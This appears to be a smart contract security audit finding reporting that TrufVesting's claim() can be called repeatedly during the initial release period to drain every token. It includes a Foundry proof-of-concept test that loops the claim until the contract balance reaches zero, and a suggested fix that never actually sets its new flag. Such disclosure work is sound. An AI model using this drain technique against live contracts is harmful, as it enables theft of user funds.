Wide Lilac Terrier

high

# TrufVesting.sol :: claim() In the initialReleasePeriod an attacker can steal all the funds from the contract.

## Summary
**`claim()`** allows users to claim available vesting amounts, a vulnerability exists during the **`initialReleasePeriod`**. The fixed amount during this period enables an attacker to exploit and drain all the funds of the contract in this **`initialReleasePeriod`** as it does not track whether the amount has already been claimed.
## Vulnerability Detail
**`claim()`** enables users to retrieve their available vested tokens.
```Solidity
function claim(address user, uint256 categoryId, uint256 vestingId, uint256 claimAmount) public {
        if (user != msg.sender && (!categories[categoryId].adminClaimable || msg.sender != owner())) {
            revert Forbidden(msg.sender);
        }

        uint256 claimableAmount = claimable(categoryId, vestingId, user);
        if (claimAmount == type(uint256).max) {
            claimAmount = claimableAmount;
        } else if (claimAmount > claimableAmount) {
            revert ClaimAmountExceed();
        }
        if (claimAmount == 0) {
            revert ZeroAmount();
        }

        categories[categoryId].totalClaimed += claimAmount;
        userVestings[categoryId][vestingId][user].claimed += claimAmount;
        trufToken.safeTransfer(user, claimAmount);

        emit Claimed(categoryId, vestingId, user, claimAmount);
    }
```
It relies on [claimable()](https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L159-L202) to determine the amount a user can claim for a specific categoryId and vestingId. During the **`initialReleasePeriod`**, users can claim a predetermined **`initialRelease`** amount calculated as a percentage of the **`totalAmount`** invested.
```Solidity
 uint256 initialRelease = (totalAmount * info.initialReleasePct) / DENOMINATOR;
```
Next checks if it is in the **`initalReleasePeriod`**, in case of true returns the amount calculated in the previous step.
```Solidity
 startTime += info.cliff;

        if (startTime > block.timestamp) {
            return initialRelease;
        }
```
An this caluclated amount will be used in **`claim()`**.
```Solidity
uint256 claimableAmount = claimable(categoryId, vestingId, user);
```
Next checks if the **`claimableAmount`** is not greater than the **`claimAmount`** specified by the user. Registers the claimed amount and sends the tokens to the user.
```Solidity
else if (claimAmount > claimableAmount) {
            revert ClaimAmountExceed();
```
```Solidity
categories[categoryId].totalClaimed += claimAmount;
userVestings[categoryId][vestingId][user].claimed += claimAmount;
trufToken.safeTransfer(user, claimAmount);
```
The issue lies in the constant **`claimableAmount`** during the **`initialReleasePeriod`**, while **`claimAmount`** is user-controlled. 
```Solidity
 function claim(address user, uint256 categoryId, uint256 vestingId, uint256 claimAmount) public
```
An attacker can exploit this by setting **`claimAmount = claimableAmount`**, bypassing the check and illicitly draining all funds from the contract.
## POC
To run the POC, copy the provided code into **`TrufVesting.t.sol`**. 
Execute the test using the following command: **`forge test --match-test testAllFundsCanBeStolenInInitialReleasePeriod`**.
```Solidity
function testAllFundsCanBeStolenInInitialReleasePeriod() external {

        _setupVestingPlan();
        _setupExampleUserVestings();

        uint256 categoryId = 2;
        uint256 vestingId = 0;

        uint64 tgeTime = vesting.tgeTime();

        (,uint64 _initialReleasePeriod, uint64 _cliff,,) =
            vesting.vestingInfos(categoryId, vestingId);

        vm.warp(tgeTime + _initialReleasePeriod + _cliff - 1);
        
        uint256 claimableAmount = vesting.claimable(categoryId, vestingId, alice);

        vm.startPrank(alice);

        uint256 contractBalance = trufToken.balanceOf(address(vesting));

        console.log("Attacker Balance Before:", trufToken.balanceOf(alice));
        console.log("Contract Balance Before:", contractBalance);

        //attacker claims all the contract balance using claim
        while(trufToken.balanceOf(alice) < contractBalance) {
            vesting.claim(alice, categoryId, vestingId, claimableAmount);
        }

        (,uint256 claimed,,) = vesting.userVestings(categoryId, vestingId, alice);

        console.log("Attacker Balance After:", trufToken.balanceOf(alice));
        console.log("Contract Balance After:", trufToken.balanceOf(address(vesting)));

        //claimed attacker balance is equal to all contractBalance
        assertEq(contractBalance, claimed);
        //attacker steals all the funds of the contract
        assertEq(contractBalance, trufToken.balanceOf(alice));
        //all funds of the contract is stolen
        assertEq(trufToken.balanceOf(address(vesting)), 0);

        vm.stopPrank();
    }
```
```Solidity
-----------------logs-----------------
Attacker Balance Before: 0
Contract Balance Before: 1025400000000000000000000
Attacker Balance After: 1025400000000000000000000
Contract Balance After: 0
```
## Impact
In the initialReleasePeriod, an attacker has the capability to steal all the funds from the contract.
## Code Snippet
https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L159-L202
https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L212-L232
## Tool used
Manual Review.
## Recommendation
Create a mapping to track whether users have already claimed the **`initialRelease`** amount. Implement a require within the **`claimable()`** to check it.
```Solidity
 mapping(uint256 => mapping(uint256 => mapping(address => bool))) public initialReleaseAmountClaimed;
```
```diff
function claimable(uint256 categoryId, uint256 vestingId, address user)
        public
        view
        returns (uint256 claimableAmount)
    {
        UserVesting memory userVesting = userVestings[categoryId][vestingId][user];

        VestingInfo memory info = vestingInfos[categoryId][vestingId];

        uint64 startTime = userVesting.startTime + info.initialReleasePeriod;

        if (startTime > block.timestamp) {
            return 0;
        }

        uint256 totalAmount = userVesting.amount;

        uint256 initialRelease = (totalAmount * info.initialReleasePct) / DENOMINATOR;

        startTime += info.cliff;

        if (startTime > block.timestamp) {
+           require(initialReleaseAmountClaimed[categoryId][vestingId][user] == false, "initalRelease amount already claimed")
            return initialRelease;
        }

        uint64 timeElapsed = ((uint64(block.timestamp) - startTime) / info.unit) * info.unit;

        uint256 vestedAmount = ((totalAmount - initialRelease) * timeElapsed) / info.period + initialRelease;

        uint256 maxClaimable = userVesting.amount - userVesting.locked;
        if (vestedAmount > maxClaimable) {
            vestedAmount = maxClaimable;
        }
        if (vestedAmount <= userVesting.claimed) {
            return 0;
        }

        claimableAmount = vestedAmount - userVesting.claimed;
        uint256 emissionLeft = getEmission(categoryId) - categories[categoryId].totalClaimed;

        if (claimableAmount > emissionLeft) {
            claimableAmount = emissionLeft;
        }
    }
```